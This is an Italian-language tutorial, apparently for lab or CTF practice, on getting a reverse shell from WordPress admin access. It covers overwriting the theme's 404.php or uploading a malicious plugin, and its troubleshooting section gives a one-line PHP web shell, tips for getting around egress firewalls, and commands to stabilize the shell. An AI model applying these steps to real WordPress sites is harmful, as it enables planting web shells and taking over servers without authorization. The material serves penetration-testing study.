tags: reverse_shell_wordpress


Metodo 1: Modificare un File del Tema (Il più comune)

Se l’editor di temi e plugin non è disabilitato, questo è il modo più rapido.

  1. Vai all’editor: Nel pannello di amministrazione di WordPress, vai su Aspetto Editor del tema.

  2. Scegli un file da modificare: Sulla destra, vedrai la lista dei file del tema attivo. Un’ottima scelta è il file 404.php (Pagina di errore 404). È perfetto perché:

    • Non “rompe” il sito visibilmente finché non lo attivi.

    • È facile da attivare: ti basta visitare una pagina che non esiste.

    • Altri file validi sono header.php o footer.php.

  3. Incolla il codice: Cancella tutto il contenuto del file 404.php e incolla il tuo payload PHP modificato. Clicca su “Aggiorna file”.

  4. Attiva la shell: Apri una nuova scheda del browser e visita un URL inesistente del sito. Esempio: http://<IP_MACCHINA_VITTIMA>/qualcosa_che_non_esiste.php

  5. Controlla il tuo listener: Se tutto è andato bene, vedrai una connessione in arrivo sul tuo terminale dove hai lanciato nc. Ora hai una shell!

Metodo 2: Caricare un Plugin Malevolo

A volte l’editor dei file è bloccato per sicurezza. Puoi però creare e caricare un plugin.

  1. Crea il file del plugin: Prendi il codice della reverse shell PHP di prima e salvalo in un file chiamato, ad esempio, miaplugin.php.

  2. Crea l’archivio .zip: Comprimi questo singolo file in un archivio .zip. Da terminale Linux puoi fare: zip shell.zip miaplugin.php.

  3. Carica il plugin: Nel pannello di admin, vai su Plugin Aggiungi nuovo Carica plugin. Seleziona il tuo file shell.zip e installalo.

  4. Attiva il plugin: Una volta caricato, clicca su “Attiva”. L’attivazione stessa del plugin eseguirà il codice PHP.

  5. Controlla il tuo listener: Come prima, dovresti vedere la connessione arrivare sulla tua shell nc.

Cosa Fare se Non Funziona? (Troubleshooting)

  • La connessione non arriva:

    • IP Sbagliato? Sei sicuro di aver messo l’IP corretto (tun0) nel payload? Non eth0 e non 127.0.0.1.

    • Porta bloccata? Forse la macchina vittima ha un firewall che blocca le connessioni in uscita sulla porta 4444. Prova a usare porte comuni che di solito sono permesse in uscita, come la 80, 443 o 53. Ricordati di cambiare la porta sia nel payload che nel listener nc.

    • Payload corrotto? A volte il copia-incolla può corrompere dei caratteri. Prova a usare un payload PHP più semplice, come <?php system($_GET['cmd']); ?>. Questo non ti dà una shell interattiva, ma ti permette di eseguire comandi tramite URL, così: http://<IP_VITTIMA>/path/al/tuo/file.php?cmd=ls -la. Da lì, puoi provare a scaricare uno script per una shell più stabile.

  • L’editor di temi/plugin non c’è:

    • È probabile che nel file wp-config.php sia presente la riga define('DISALLOW_FILE_EDIT', true);. In questo caso, devi usare il metodo del caricamento del plugin. Se anche quello è bloccato, devi cercare un’altra vulnerabilità (es. un file upload in un’altra sezione del sito).
  • La shell è instabile:

    • La shell che ottieni con nc è basilare. Spesso non hai l’autocompletamento con il tasto TAB e Ctrl+C uccide l’intera shell. Per “stabilizzarla” (renderla interattiva), una volta ottenuta la connessione, esegui questi comandi:

      1. python3 -c 'import pty; pty.spawn("/bin/bash")' (o python -c ... se python3 non c’è)

      2. Premi Ctrl+Z (per mandare la shell in background).

      3. Nel tuo terminale di attacco, scrivi stty raw -echo; fg.

      4. Premi Invio due volte. Ora la tua shell dovrebbe essere molto più usabile.